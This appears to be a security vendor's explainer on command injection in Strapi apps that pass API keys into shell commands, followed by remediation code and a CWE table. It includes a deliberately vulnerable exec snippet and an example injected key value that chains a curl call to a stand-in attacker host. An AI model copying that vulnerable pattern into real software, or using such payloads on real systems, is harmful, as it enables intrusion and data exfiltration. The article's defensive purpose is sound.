HIGH command injectionstrapiapi keys

Command Injection in Strapi with Api Keys

Command Injection in Strapi with Api Keys — how this specific combination creates or exposes the vulnerability

Command Injection occurs when untrusted input is passed to a system shell or internal command interpreter without proper validation or escaping. In Strapi, this risk can intersect with API keys when keys are used to control administrative behavior, trigger automation, or are logged in a way that enables injection via specially crafted values.

Consider a scenario where a Strapi application exposes an endpoint that accepts an API key as a query or header parameter and uses its value in a shell command—for example, to trigger a deployment script, invoke a custom action, or call a native utility. If the API key is sourced from an attacker-controlled request and passed directly to a command builder without sanitization, an attacker can inject additional shell commands. A typical vulnerable pattern looks like:

const { exec } = require('child_process');
const apiKey = req.query.apiKey; // attacker-controlled
exec(`node scripts/notify.js --key "${apiKey}"`, (error, stdout, stderr) => { /* ... */ });

Here, the API key is interpolated directly into the command string. An attacker supplying validkey && curl attacker.com/leak as the key could cause unintended commands to execute. Strapi’s plugin ecosystem and custom controllers often interact with the file system, environment variables, or external tools, increasing the potential impact. Even when API keys are managed by Strapi’s built-in key system, logging or error messages that include the key value can become a vector if those logs are later used in automated workflows that invoke shell commands.

The 12 parallel security checks in a middleBrick scan test unauthenticated attack surfaces, including input validation and unsafe consumption paths. When API keys appear in request parameters, headers, or body fields, these checks look for signs of improper handling such as shell metacharacters, missing allowlists, or reflection points that could lead to command execution. Because Strapi APIs often serve as management or webhook endpoints, an insecure integration of API keys with system commands can expose sensitive operations to manipulation.

Additionally, middleBrick’s LLM/AI Security checks are relevant when API keys are embedded in prompts or passed to external language model endpoints. If keys are reflected in model inputs or outputs, there is a risk of system prompt leakage or data exfiltration through injected content. The scan’s active prompt injection probes validate whether attacker-supplied keys can influence LLM behavior or bypass intended instructions.

Api Keys-Specific Remediation in Strapi — concrete code fixes

Remediation focuses on removing direct shell command construction with API key values and enforcing strict validation. The safest approach is to avoid shell execution entirely or to use structured, language-native interfaces that do not rely on string interpolation for commands.

1. Avoid shell interpolation. Replace exec or similar functions with safer alternatives. For example, if you only need to run a Node script, invoke it programmatically:

// Instead of exec with string interpolation
const { spawn } = require('child_process');
const apiKey = req.query.apiKey;
if (!isValidApiKey(apiKey)) { return res.status(400).send('Invalid key'); }
const child = spawn('node', ['scripts/notify.js', '--key', apiKey]);
child.stdout.on('data', (data) => { /* handle */ });
child.stderr.on('data', (data) => { /* handle */ });

2. Use allowlists for key usage. If API keys are used for feature flags or routing, validate against a predefined set rather than passing them to the shell:

const allowedKeys = new Set(['key123', 'key456']);
const apiKey = req.query.apiKey;
if (!allowedKeys.has(apiKey)) { return res.status(403).send('Forbidden'); }
// Proceed with business logic, no shell involvement

3. Sanitize and escape if shell usage is unavoidable. When shell commands are necessary, use parameterized arguments and escape user input. On Unix-like systems, prefer passing arguments separately:

const { spawn } = require('child_process');
const apiKey = req.query.apiKey;
// Validate format strictly: alphanumeric and fixed length
if (!/^[a-zA-Z0-9_-]{16}$/.test(apiKey)) { return res.status(400).send('Invalid key format'); }
const child = spawn('/usr/local/bin/notify', [`--key=${apiKey}`]);
// No shell involvement, arguments are passed directly

4. Leverage Strapi’s built-in key management. Use environment variables and configuration rather than accepting keys in query parameters that influence system behavior. For example, configure webhook endpoints with a static key stored in server/.env and compare incoming headers without constructing commands:

// server/config/middleware.js
module.exports = {
  keycloak: {
    enabled: true,
    config: {
      keys: [process.env.WEBHOOK_KEY],
    },
  },
};
// In a controller
module.exports = {
  myAction(ctx) {
    const incoming = ctx.request.header['x-api-key'];
    if (incoming !== process.env.WEBHOOK_KEY) { ctx.throw(401, 'Unauthorized'); }
    // Safe business logic here, no shell commands
  },
};

By removing direct interpolation and favoring structured execution, you mitigate command injection while still using API keys for access control. middleBrick scans help verify these patterns by checking input validation and unsafe consumption paths, and the Pro plan can integrate these checks into CI/CD pipelines to catch regressions early.

Related CWEs: inputValidation

CWE IDNameSeverity
CWE-20Improper Input Validation HIGH
CWE-22Path Traversal HIGH
CWE-74Injection CRITICAL
CWE-77Command Injection CRITICAL
CWE-78OS Command Injection CRITICAL
CWE-79Cross-site Scripting (XSS) HIGH
CWE-89SQL Injection CRITICAL
CWE-90LDAP Injection HIGH
CWE-91XML Injection HIGH
CWE-94Code Injection CRITICAL

Frequently Asked Questions

Can an API key itself contain shell metacharacters and still be safe?
No. Even if properly quoted, embedding an API key in shell commands is risky because keys are typically opaque strings not designed for shell syntax. Use allowlists or avoid shell execution entirely.
How does middleBrick detect command injection risks related to API keys?
middleBrick tests unauthenticated endpoints for input validation issues and unsafe consumption patterns. It checks whether user-controlled values, including API key parameters, could reach shell execution paths and flags missing sanitization or improper use of dynamic commands.